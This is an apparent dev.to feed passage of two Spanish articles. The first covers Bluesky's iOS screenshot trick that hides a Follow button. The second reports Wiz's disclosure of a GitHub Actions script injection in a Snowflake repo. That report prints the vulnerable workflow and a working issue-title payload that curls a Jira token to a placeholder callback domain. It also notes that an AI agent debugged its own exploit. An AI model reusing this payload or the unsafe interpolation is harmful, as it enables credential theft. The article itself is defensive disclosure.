&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;secureField&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;UITextField&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;secureField&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;isSecureTextEntry&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;span class="n"&gt;secureField&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;isUserInteractionEnabled&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;

&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;followButton&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;UIButton&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;system&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;followButton&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setTitle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Seguir"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;for&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;normal&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;secureField&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;layer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addSublayer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;followButton&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;layer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;view&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addSubview&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;secureField&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Cuando el usuario toma una captura de pantalla, iOS vacía automáticamente el &lt;code&gt;layer&lt;/code&gt; de cualquier &lt;code&gt;UITextField&lt;/code&gt; seguro visible en ese momento. El botón Seguir desaparece de la imagen resultante y, como estaba dibujado encima del logo, ese logo queda al descubierto.&lt;/p&gt;

&lt;p&gt;Del lado de React Native, el uso del paquete es mucho más simple: se envuelve el componente sensible en un wrapper que hace ese trabajo por debajo.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;PrivacySensitiveView&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;expo-privacy-sensitive&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;FollowButtonOverlay&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;return &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;



  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;La pregunta que queda es por qué el truco no se activa al cambiar de app con el gesto de deslizar. mt propone una explicación razonable, aunque aclara que no es developer de iOS: el sistema toma esa vista previa del selector de apps al inicio del gesto, antes de que exista una instancia viva del &lt;code&gt;UITextField&lt;/code&gt; que reaccione. La captura de pantalla, en cambio, sí encuentra un campo seguro activo para vaciar.&lt;/p&gt;

&lt;h3&gt;
  
  
  Por qué falla la vista previa del multitarea
&lt;/h3&gt;

&lt;p&gt;Dicho de otro modo: la protección de &lt;code&gt;isSecureTextEntry&lt;/code&gt; depende de que el campo exista en pantalla en el momento exacto en que el sistema decide vaciarlo. La captura de pantalla dispara ese vaciado en vivo. El snapshot del selector de apps, en cambio, parece generarse a partir de una instantánea ya congelada, sin ese disparador.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sequenceDiagram
    participant U as Usuario
    participant App as App de Bluesky
    participant iOS as Sistema iOS
    App-&amp;gt;&amp;gt;iOS: dibuja el boton Seguir dentro del layer de un UITextField seguro
    U-&amp;gt;&amp;gt;iOS: toma una captura de pantalla
    iOS--&amp;gt;&amp;gt;App: vacia el layer del campo seguro
    Note over U,iOS: el logo de Bluesky que estaba detras queda visible en la imagen final
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Un UITextField seguro puede ocultar cualquier vista dentro de su layer.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cómo probarlo vos mismo
&lt;/h2&gt;

&lt;p&gt;El experimento de mt se puede repetir con cualquier cuenta de Bluesky en un iPhone. Solo hacen falta tres pasos:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Abrí cualquier perfil en la app oficial de Bluesky para iOS y ubicá el botón Seguir en la esquina superior derecha.&lt;/li&gt;
&lt;li&gt;Tomá una captura de pantalla normal (botón lateral más subir volumen, o el gesto equivalente en tu modelo).&lt;/li&gt;
&lt;li&gt;Compará: en la app sigue el botón Seguir, en la imagen guardada aparece el logo de Bluesky.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Si además querés reproducir el mecanismo en tu propio proyecto, expo-privacy-sensitive es instalable como cualquier paquete de npm dentro de un proyecto Expo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Windows (PowerShell), macOS y Linux usan el mismo comando&lt;/span&gt;
npx create-expo-app mi-app
&lt;span class="nb"&gt;cd &lt;/span&gt;mi-app
npm &lt;span class="nb"&gt;install &lt;/span&gt;expo-privacy-sensitive
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;La instalación del paquete es idéntica en Windows, macOS y Linux porque corre sobre Node.js. La diferencia aparece al compilar: generar un build de iOS requiere Xcode, que solo corre en macOS, o el servicio en la nube EAS Build de Expo si trabajás desde Windows o Linux.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;⚠️ Ojo:&lt;/strong&gt; el efecto solo se ve en un build nativo de iOS, no en Expo Go ni en la vista previa web. Necesitás compilar la app real para que &lt;code&gt;isSecureTextEntry&lt;/code&gt; tenga efecto.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Impacto y análisis: entre lo ingenioso y el uso indebido
&lt;/h2&gt;

&lt;p&gt;La reacción en el hilo interno donde el equipo de Bluesky discutió agregar este comportamiento fue mayormente negativa, según relata mt: varios desarrolladores lo señalaron como un uso cuestionable de una API pensada para proteger privacidad, no para forzar visibilidad de marca. El hilo terminó bloqueado.&lt;/p&gt;

&lt;p&gt;El propio mt, sin embargo, lo describe como algo tierno más que como un abuso: nadie pierde datos, no hay tracking oculto, y el resultado es visualmente prolijo. La discusión de fondo es si reutilizar una protección de seguridad para un objetivo de crecimiento sienta un precedente incómodo para otras apps.&lt;/p&gt;

&lt;p&gt;App o plataformaQué ocultaCuándo se activaMecanismo&lt;/p&gt;

&lt;p&gt;Bluesky (iOS)Botón Seguir, revela el logo de BlueskyCaptura de pantallaUITextField seguro + layer&lt;br&gt;
Telegram (chats secretos)Contenido del chatCaptura de pantallaMismo mecanismo de iOS&lt;br&gt;
SignalContenido de la conversaciónCaptura de pantallaMismo mecanismo de iOS&lt;br&gt;
Bluesky (Android/web)NadaNo aplicaexpo-privacy-sensitive renderiza normal&lt;/p&gt;

&lt;h2&gt;
  
  
  Qué sigue
&lt;/h2&gt;

&lt;p&gt;mt escribe que investigó un poco más y encontró que el truco es conocido desde hace tiempo en el ecosistema de apps de mensajería, así que no espera que Apple lo bloquee pronto: bloquear &lt;code&gt;isSecureTextEntry&lt;/code&gt; rompería la protección de contraseñas en miles de apps, incluidas las del propio sistema.&lt;/p&gt;

&lt;p&gt;Lo más probable es que otras apps con presión de crecimiento copien la idea para colar su marca en cada captura que un usuario comparte fuera de la app. Es una forma de conseguir presencia en redes sociales y grupos de mensajería sin pedirle nada al usuario.&lt;/p&gt;

&lt;p&gt;📖 Resumen en Telegram: Ver resumen&lt;/p&gt;

&lt;p&gt;Probalo vos: instalá expo-privacy-sensitive en un proyecto Expo nuevo y compará cómo se ve tu componente dentro de la app y en una captura de pantalla real.&lt;/p&gt;

&lt;h2&gt;
  
  
  Preguntas frecuentes
&lt;/h2&gt;

&lt;h3&gt;
  
  
  ¿Por qué el botón Seguir desaparece en las capturas de pantalla de Bluesky?
&lt;/h3&gt;

&lt;p&gt;Porque está dibujado dentro del layer de un UITextField marcado como seguro. iOS vacía ese layer automáticamente cada vez que detecta una captura de pantalla, y detrás queda visible el logo de Bluesky.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Funciona este truco en Android o en la versión web de Bluesky?
&lt;/h3&gt;

&lt;p&gt;No. Según describe el análisis del código, en esas plataformas expo-privacy-sensitive simplemente renderiza el contenido tal cual, sin ningún tipo de ocultamiento.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Es un uso indebido de una función de privacidad de Apple?
&lt;/h3&gt;

&lt;p&gt;Depende de a quién le preguntes. Dentro del propio equipo de Bluesky la opinión mayoritaria fue crítica; el investigador que lo documentó lo ve como un uso ingenioso, no dañino, porque no oculta ni filtra datos del usuario.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Qué otras apps usan un mecanismo similar?
&lt;/h3&gt;

&lt;p&gt;Telegram lo aplica en sus chats secretos y Signal protege así el contenido completo de una conversación. La diferencia con Bluesky es el objetivo: en esos casos es privacidad, en Bluesky es identidad de marca.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Puedo aplicar esto en mi propia app hecha con React Native o Expo?
&lt;/h3&gt;

&lt;p&gt;Sí, instalando expo-privacy-sensitive y envolviendo el componente que quieras ocultar en capturas. El efecto solo se nota en un build nativo de iOS compilado con Xcode o con EAS Build.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Apple va a bloquear este comportamiento?
&lt;/h3&gt;

&lt;p&gt;No hay señales de eso. El mecanismo de base lleva años sosteniendo la protección de contraseñas y del contenido cifrado de Telegram y Signal, así que bloquearlo tendría un costo alto para la plataforma.&lt;/p&gt;

&lt;h2&gt;
  
  
  Referencias
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://timmarinin.net/2026/bluesky-screenshots/" rel="noopener noreferrer"&gt;timmarinin.net&lt;/a&gt;: publicación original donde mt documenta y explica el mecanismo del logo de Bluesky en capturas.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/bluesky-social/social-app" rel="noopener noreferrer"&gt;github.com/bluesky-social/social-app&lt;/a&gt;: repositorio abierto de la app de Bluesky donde vive el archivo GrowthHack.tsx.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://developer.apple.com/documentation/uikit/uitextfield" rel="noopener noreferrer"&gt;developer.apple.com&lt;/a&gt;: documentación oficial de Apple sobre UITextField y la propiedad isSecureTextEntry.&lt;/li&gt;
&lt;li&gt;npmjs.com: página del paquete expo-privacy-sensitive usado por Bluesky para implementar el efecto.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;📱 &lt;strong&gt;¿Te gusta este contenido?&lt;/strong&gt; Únete a nuestro canal de Telegram &lt;a href="https://t.me/programacion" rel="noopener noreferrer"&gt;@programacion&lt;/a&gt; donde publicamos a diario lo más relevante de tecnología, IA y desarrollo. Resúmenes rápidos, contenido fresco todos los días.&lt;/p&gt;

</description>
      <category>cloud</category>
      <category>devops</category>
      <category>aws</category>
      <category>programming</category>
    </item>
    <item>
      <title>Copilot Autofix coescribió el bug que Wiz explotó en Snowflake</title>
      <dc:creator>lu1tr0n</dc:creator>
      <pubDate>Mon, 17 Aug 2026 20:23:50 +0000</pubDate>
      <link>https://dev.to/lu1tr0n/copilot-autofix-coescribio-el-bug-que-wiz-exploto-en-snowflake-33np</link>
      <guid>https://dev.to/lu1tr0n/copilot-autofix-coescribio-el-bug-que-wiz-exploto-en-snowflake-33np</guid>
      <description>&lt;p&gt;El 18 de junio de 2026, un commit firmado en parte por &lt;strong&gt;Copilot Autofix&lt;/strong&gt; reemplazó el parseo seguro de un workflow de Snowflake por una línea que permitía ejecutar cualquier comando con solo abrir un issue en GitHub. Cinco días después, el Red Agent de Wiz, una herramienta de investigación autónoma impulsada por IA, encontró el fallo, corrigió su propio payload tras un error de sintaxis y exfiltró un token de Jira interno en cuestión de segundos.&lt;/p&gt;

&lt;p&gt;El caso, documentado por Wiz Research bajo el programa de HackerOne de Snowflake, es uno de los primeros ejemplos públicos donde una IA de autofix introduce la vulnerabilidad y otra IA, de forma autónoma, la descubre y explota.&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Wiz Research halló un script injection en el workflow jira_issue.yml del repo snowflakedb/snowflake-connector-net.- La PR #1218, fusionada el 18 de junio de 2026, introdujo el bug y lista a Copilot Autofix como coautor del commit.- El workflow se disparaba con cualquier issue abierto por cualquier usuario de GitHub, sin autenticación previa.- Un gate de seguridad basado en github.event.pull_request.user.login siempre evaluaba como verdadero en eventos de tipo issues.- El Red Agent de Wiz ajustó su payload tras un error de sintaxis bash y logró ejecución remota de comandos.- El ataque exfiltró un token de Jira de la cuenta &lt;a href="mailto:qa@snowflake.net"&gt;qa@snowflake.net&lt;/a&gt; con acceso a proyectos de ingeniería y bug bounty.- Snowflake parcheó el workflow el mismo día de la divulgación, el 23 de junio de 2026, con la PR #1402.- Wiz actualizó el post el 17 de agosto de 2026 para aclarar que Copilot revisó la PR fusionada y no detectó el fallo.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Introducción
&lt;/h2&gt;

&lt;p&gt;Copilot Autofix es la función de GitHub que revisa pull requests y sugiere, o directamente aplica, parches automáticos de seguridad. En este caso participó como coautor de un cambio que, lejos de arreglar nada, abrió la puerta a la ejecución remota de comandos en un repositorio público de Snowflake. El repositorio afectado, &lt;a href="https://github.com/snowflakedb/snowflake-connector-net" rel="noopener noreferrer"&gt;snowflakedb/snowflake-connector-net&lt;/a&gt;, es el conector oficial de .NET que miles de aplicaciones usan para hablar con el data warehouse de Snowflake.&lt;/p&gt;

&lt;p&gt;La historia importa para cualquier equipo en LATAM que use GitHub Actions con triggers automáticos (issues, pull requests, comentarios), porque expone un patrón de vulnerabilidad conocido desde hace años, la inyección de plantillas en workflows, reintroducido por una herramienta pensada justamente para prevenir ese tipo de errores. Copilot Autofix no falló por un bug exótico: falló ante el mismo patrón que audita todos los días.&lt;/p&gt;

&lt;h2&gt;
  
  
  Qué pasó
&lt;/h2&gt;

&lt;p&gt;Wiz Research usa Red Agent para escanear organizaciones enteras en GitHub en busca de workflows inseguros. Durante el escaneo del repositorio de Snowflake, &lt;a href="https://www.wiz.io/blog/red-agent-snowflake-copilot-cicd-bug" rel="noopener noreferrer"&gt;Wiz Research&lt;/a&gt; marcó el archivo jira_issue.yml como vulnerable a inyección de script por usar datos no confiables directamente en un bloque run:.&lt;/p&gt;

&lt;p&gt;El workflow se disparaba con el evento issues: opened, es decir, cualquier persona con una cuenta de GitHub podía activarlo sin autenticarse contra Snowflake. El título del issue se interpolaba directamente en un script de shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;issues&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;types&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;opened&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;notify-jira&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Build Jira payload&lt;/span&gt;
        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
          &lt;span class="s"&gt;TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\\\'/g")&lt;/span&gt;
          &lt;span class="s"&gt;echo "title=$TITLE" &amp;gt;&amp;gt; "$GITHUB_OUTPUT"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;El problema está en el orden de las operaciones. GitHub expande &lt;code&gt;${{ github.event.issue.title }}&lt;/code&gt; como texto plano antes de que el runner ejecute una sola línea del script. El sed que intenta escapar comillas corre después, sobre un string que ya rompió la sintaxis del echo '...'. Si el título del issue contiene una comilla simple, el atacante sale del string y el resto del título se interpreta como comandos de shell.&lt;/p&gt;

&lt;p&gt;Ese patrón reemplazó a uno más seguro que existía antes en el mismo archivo, uno que pasaba el título por una variable de entorno y construía el JSON con jq --arg. La comparación entre ambos enfoques es la siguiente:&lt;br&gt;
PatrónDónde apareceRiesgoAlternativa segura${{ github.event.issue.title }} interpolado directo en run:jira_issue.yml, PR #1218Inyección de comandos shell antes de cualquier escapadoPasar el valor por env: y leerlo como variable de entornoEscapado con sed después de la expansión de plantillaCommit 4a1b8ceEl escapado corre después de que GitHub ya expandió el string, no antesjq --arg para construir JSON de forma seguraif: github.event.pull_request.user.login != botGate de seguridad del workflowpull_request es null en eventos issues: la condición siempre es verdaderaVerificar github.event.issue.user.login o requerir revisión manual&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;⚠️ Ojo:&lt;/strong&gt; el workflow tenía una condición que parecía filtrar bots, pero github.event.pull_request siempre es null en eventos de tipo issues. La condición se evaluaba como verdadera para cualquier usuario, siempre.&lt;br&gt;
La PR #1218 quedó marcada como revisada sin señalar el patrón inseguro.&lt;/p&gt;
&lt;h2&gt;
  
  
  Contexto e historia de Copilot Autofix
&lt;/h2&gt;
&lt;/blockquote&gt;

&lt;p&gt;Copilot Autofix es la respuesta de GitHub al mismo problema que Wiz explota acá: la mayoría de las vulnerabilidades en producción no vienen de bugs exóticos, sino de patrones conocidos que nadie revisa a tiempo. La función analiza pull requests, detecta código riesgoso y sugiere, o directamente aplica, el parche. El commit 4a1b8ce, parte de la PR #1218 (SNOW-2069227: Update jira workflows), lista a Copilot Autofix powered by AI como coautor del cambio que introdujo el bug.&lt;/p&gt;

&lt;p&gt;Wiz actualizó su publicación original el 17 de agosto de 2026 a las 19:57 UTC para precisar un matiz importante: Copilot participó como revisor que dio el visto bueno a la PR ya fusionada, sin marcar la vulnerabilidad, pero no está confirmado si el cambio de código en sí fue generado con asistencia de IA. La distinción importa porque separa dos fallas distintas: quién escribió la línea insegura y quién la revisó sin detectarla.&lt;/p&gt;

&lt;p&gt;El hallazgo se dio dentro del programa de divulgación responsable que Snowflake mantiene en HackerOne, el mismo canal que Wiz usa habitualmente para reportar los resultados de su investigación ofensiva.&lt;/p&gt;
&lt;h2&gt;
  
  
  Detalles técnicos y rendimiento
&lt;/h2&gt;

&lt;p&gt;Wiz construyó un título de issue diseñado para escapar del echo y ejecutar un comando de exfiltración vía callback fuera de banda (OAST). El primer intento usó un carácter # para comentar el resto de la línea, pero eso también consumió el paréntesis de cierre de TITLE=$(...) y el runner devolvió un error de sintaxis de bash.&lt;/p&gt;

&lt;p&gt;El Red Agent no se detuvo ante el error. Analizó el mensaje de fallo, entendió que necesitaba cerrar el bloque de subshell antes de inyectar el comando, y ajustó el payload para usar ; echo ' en lugar del comentario:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="s1"&gt;' ; curl -s "https://CALLBACK_DOMAIN?t=`printf %s $JIRA_API_TOKEN|base64 -w0`&amp;amp;e=`printf %s $JIRA_USER_EMAIL|base64 -w0`&amp;amp;u=`printf %s $JIRA_BASE_URL|base64 -w0`" ; echo '&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ese título, una vez interpolado dentro del echo '...' original, cierra el string, ejecuta un curl que codifica en base64 las variables de entorno del token, el correo y la URL base de Jira, y las envía como query string a un dominio de callback controlado por los investigadores. El runner, con una IP de Azure (20.106.182.197), hizo la petición en segundos.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;💭 Clave:&lt;/strong&gt; el detalle más relevante no es el bug en sí, sino que el agente autónomo depuró y corrigió su propio exploit sin intervención humana entre el primer error de sintaxis y el segundo intento exitoso.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;El token exfiltrado autenticaba como &lt;a href="mailto:qa@snowflake.net"&gt;qa@snowflake.net&lt;/a&gt; contra snowflakecomputing.atlassian.net, la instancia de Jira interna de Snowflake, con acceso de lectura a proyectos de ingeniería, cumplimiento de seguridad y seguimiento de bug bounty.&lt;/p&gt;

&lt;h3&gt;
  
  
  El flujo completo del ataque
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sequenceDiagram
participant A as Atacante
participant G as GitHub Actions
participant R as Runner
participant J as Jira
participant C as Servidor de callback
A-&amp;gt;&amp;gt;G: Abre un issue con titulo malicioso
G-&amp;gt;&amp;gt;R: Dispara el workflow jira_issue.yml
R-&amp;gt;&amp;gt;R: Interpola el titulo sin sanitizar en run
R-&amp;gt;&amp;gt;C: Exfiltra el token de Jira via curl
Note over R,C: El token da acceso de lectura a Jira interno
C--&amp;gt;&amp;gt;J: El token es reutilizable contra Jira
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;El runner devolvió el error de sintaxis antes de que el segundo intento tuviera éxito.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cómo empezar a probarlo
&lt;/h2&gt;

&lt;p&gt;El patrón que rompió a Snowflake es fácil de buscar en tu propio historial de workflows. Un primer paso, sin instalar nada, es grepear directamente los archivos YAML de tu repositorio:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; &lt;span class="s2"&gt;"github&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;event&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;issue&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;title"&lt;/span&gt; .github/workflows/&lt;span class="k"&gt;*&lt;/span&gt;.yml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Si ese comando devuelve resultados dentro de un bloque run: (y no dentro de un env:), tenés el mismo problema que Snowflake. Para un chequeo más completo, &lt;a href="https://github.com/rhysd/actionlint" rel="noopener noreferrer"&gt;actionlint&lt;/a&gt; es un linter estático de workflows de GitHub Actions que detecta interpolaciones inseguras de ${{ }} dentro de scripts de shell, entre otras reglas.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# macOS (Homebrew)&lt;/span&gt;
brew &lt;span class="nb"&gt;install &lt;/span&gt;actionlint

&lt;span class="c"&gt;# Linux / macOS (toolchain de Go)&lt;/span&gt;
go &lt;span class="nb"&gt;install &lt;/span&gt;github.com/rhysd/actionlint/cmd/actionlint@latest

&lt;span class="c"&gt;# Windows (Scoop)&lt;/span&gt;
scoop &lt;span class="nb"&gt;install &lt;/span&gt;actionlint

&lt;span class="c"&gt;# Verificar instalación&lt;/span&gt;
actionlint &lt;span class="nt"&gt;--version&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Para confirmar que un workflow específico está limpio, corré &lt;code&gt;actionlint .github/workflows/jira_issue.yml&lt;/code&gt; y revisá que no aparezca ningún warning de tipo shellcheck ni de expresión sin comillas dentro de un bloque run:. También conviene revisar la &lt;a href="https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions" rel="noopener noreferrer"&gt;guía oficial de hardening de GitHub Actions&lt;/a&gt; para triggers como issues, issue_comment y pull_request_target, que son los más propensos a este tipo de inyección.&lt;/p&gt;

&lt;h2&gt;
  
  
  Impacto y análisis
&lt;/h2&gt;

&lt;p&gt;El incidente conecta dos tendencias que hasta ahora se discutían por separado. Por un lado, las herramientas de autofix con IA, pensadas para reducir la carga de revisión de seguridad, pueden introducir el mismo tipo de error que intentan prevenir si nadie audita el diff final con ojo humano. Por otro, agentes autónomos como Red Agent muestran que encontrar y explotar ese tipo de fallos ya no requiere días de trabajo manual: el ciclo completo, desde el escaneo hasta la exfiltración confirmada, tomó minutos una vez identificado el archivo vulnerable.&lt;/p&gt;

&lt;p&gt;Snowflake respondió dentro del mismo día del reporte: revirtió el patrón inseguro, rotó la credencial expuesta y confirmó, mediante logs de auditoría, que Wiz fue el único actor que accedió al token durante la ventana de exposición. Wiz, por su parte, confirmó que borró de forma segura cualquier dato al que accedió durante la prueba de concepto.&lt;/p&gt;

&lt;p&gt;Para equipos que ya delegan revisiones de seguridad a asistentes de IA como Copilot Autofix, o herramientas equivalentes, el caso deja una lección concreta: un visto bueno automático sobre un pull request de infraestructura como código no reemplaza una revisión humana enfocada específicamente en cómo se maneja input no confiable dentro de un run:.&lt;/p&gt;

&lt;h2&gt;
  
  
  Qué sigue
&lt;/h2&gt;

&lt;p&gt;Wiz confirmó que seguirá operando Red Agent dentro de programas de divulgación responsable como el de Snowflake en HackerOne, aplicando el mismo enfoque de escaneo continuo a otras organizaciones. Snowflake ya restauró el patrón seguro con env: y jq --arg en la PR #1402, fusionada el mismo 23 de junio de 2026.&lt;/p&gt;

&lt;p&gt;El caso también alimenta un debate más amplio en la industria: si las herramientas de autofix con IA coautoría commits de infraestructura crítica, necesitan el mismo nivel de escrutinio, o uno mayor, que un pull request humano, especialmente en archivos que definen triggers automáticos y permisos de workflows.&lt;/p&gt;

&lt;p&gt;📖 Resumen en Telegram: Ver resumen&lt;/p&gt;

&lt;p&gt;Probalo vos: corré &lt;code&gt;grep -rn "github.event.issue.title" .github/workflows/*.yml&lt;/code&gt; en tu propio repositorio para chequear si tenés el mismo patrón que abrió la puerta en Snowflake.&lt;/p&gt;

&lt;h2&gt;
  
  
  Preguntas frecuentes
&lt;/h2&gt;

&lt;h3&gt;
  
  
  ¿Qué es el Red Agent de Wiz?
&lt;/h3&gt;

&lt;p&gt;Es una herramienta de investigación de seguridad autónoma e impulsada por IA que Wiz Research usa para escanear organizaciones en busca de configuraciones y workflows vulnerables, y en este caso también para explotarlos como prueba de concepto dentro de un programa de divulgación responsable.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Qué es Copilot Autofix?
&lt;/h3&gt;

&lt;p&gt;Es la función de GitHub que analiza pull requests, detecta patrones de código riesgosos y sugiere o aplica parches automáticos. En este caso figura como coautor del commit que introdujo el patrón vulnerable, aunque Wiz aclaró después que no está confirmado si el cambio de código fue generado con asistencia de IA.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Los datos de Snowflake quedaron expuestos a terceros?
&lt;/h3&gt;

&lt;p&gt;Según Wiz, los logs de auditoría de Snowflake confirmaron que Wiz fue el único actor que accedió al token durante la ventana de exposición, y que todos los datos accedidos durante la prueba de concepto fueron eliminados de forma segura.&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Cómo puedo revisar si mis propios workflows tienen el mismo problema?
&lt;/h3&gt;

